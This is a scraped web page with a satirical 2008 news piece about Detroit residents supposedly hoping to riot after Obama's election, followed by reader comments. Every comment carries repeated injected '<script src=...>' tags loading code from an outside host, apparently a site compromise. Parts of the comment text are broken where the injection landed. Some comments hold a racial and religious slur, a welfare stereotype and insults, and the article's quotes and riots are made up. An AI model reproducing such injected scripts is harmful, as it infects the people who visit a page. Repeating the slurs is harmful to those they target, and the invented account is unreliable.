Detroit, MI - In a historic moment, yesterday Barack Obama was elected President of the United States by a sound margin and the streets of Detroit thusly remained quiet, much to the disappointment of many city residents.

"I don't know what to say," said Detroit native Aaron Jones. "I was sure there would be some kind of Republican screw job or polling confusion that would lead to McCain winning and a massive riot ensuing."

The moment was bittersweet for Detroit residents longing for civil upheaval or just some good old fashioned violence. While many strongly supported the policies and promise of change that Obama hopes to bring to Washington, Detroit loves a good riot more than any other city.

Had a scenario happened that lead to McCain winning, Jones and many others like him were prepared for full fledged rioting the likes Detroit hadn't seen since the 1967 Detroit riots that killed 43, injured nearly 500 more, and caused over 2,000 buildings to be burnt to the ground.

"Tipping over dumpsters, lighting cars on fire, smashing storefront windows, urinating in public, punching the homeless... it would have been some real hardcore shit," Jones said of his post-election riot plans, plans that no doubt would have been acted out citywide.

Riot following the Red Wings championship season in 2008.

In 2000, when polling confusion may have cost Al Gore the Presidency, Jones was arrested after setting several cars on fire and spent a week in jail. He was subsequently arrested for the same thing twice this past year, first after the Detroit Red Wings won the Stanley Cup in June and then again after the Detroit Shock won the WNBA title in October.

Detroit residents need not worry too much though. It seems in all likelihood that the Detroit Lions will finish the NFL season winless, giving Detroit one more chance to riot this calendar year.

"As long as we get that third riot this year and four years of national prosperity, I guess I'm okay with it," admitted Jones.

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1. by George Malik on 11/5/2008 12:26:09 PM

You do realize that there were no *actual* riots commemorating the Red Wings' or Shock's championships, right? Satire good. Perpetuating belief that every Detroit celebration consists of a riot, not so good.<ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Motz on 11/5/2008 1:27:33 PM

I just want to make it clear that I used all of my literary power to crush the black Muslim bastard Hussein Obama, and I failed. The forces against the Repubs were too great. In any case, if Brittany Spears had run for President on the Dem ticket, she would have one. It's a pendulum shift back to the left this year after 8 years of Bush. That is all. People will puke out on Liberalism in 4-8 years and it will swing back to the right again. *YAWN*."0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Kris on 11/5/2008 1:29:52 PM

I highly doubt enough people cared about the Shock to riot. I'm from Michigan, I lived just a couple hours north of Detroit for several years. I don't think it's that far of a stretch to say that rioting did often (not always) ensue after a major sporting event, though not on a large scale. Michigan State (Lansing) is probably worse in regards to rioting after sporting events than Detroit though.ne </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Kris on 11/5/2008 1:34:17 PM

Elections swing with the economy... bad economy means bad times for the Republicans. I think any Republican would have had a tough time against any Democrat this year... expecially when you consider too the bad blood toward's Bush. That said, I'm impressed with Obama. I see a lot of potential to do great things. I just hope that it can translate into real world success... which isn't always a given.tp:/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

Sooooo funny! I can't believe no one has ever written anything like this. You must be proud of yourself, Kris, for having such an original comedic mind. You parasite.go.ph </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by funpaul on 11/5/2008 3:46:21 PM

Pretty tin-eared. Conflates "race riots" and "sports riots", making it sound like the writer might be employed in a Taiwaineese blogging sweatshop and only familiar with American culture via internet memes. Why was this linked to from Fark?"0" s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

Hey Kris... When was the last full scale riot in Detroit? 1968? 1967? 1984? There have been no overturned burning cars since 1984. The absurd picture of something from the 1950's or 1960's and labeled riot following the Red Wings Victory etc... bullsh*t. Get your facts straight before you condemn the city... there are plenty of other ways to do it, leave the citizens out of it.g </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

Now they have to wait for obama to buy them their 52" LCD HD TV. Just wait by your mail box. Or should I say their welfare receptacle box."0 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

Freak and jackanape, if you wanted satire, the author should've used Philadelphia or State College, even Los Angeles, not Detroit. Either of those cities would've been much more topical and more funny. Using Detroit isn't satire, nor is it funny. It's hackneyed and it just smacks of laziness by the author. Leave the newspaper satire to The Onion you fucking idiots. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

I wish McCain would have won and then you crazy racists would have gotten just what you deserve- another 4,8, maybe even 16 years of a government that screws it's people while starting war after war after war.<i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>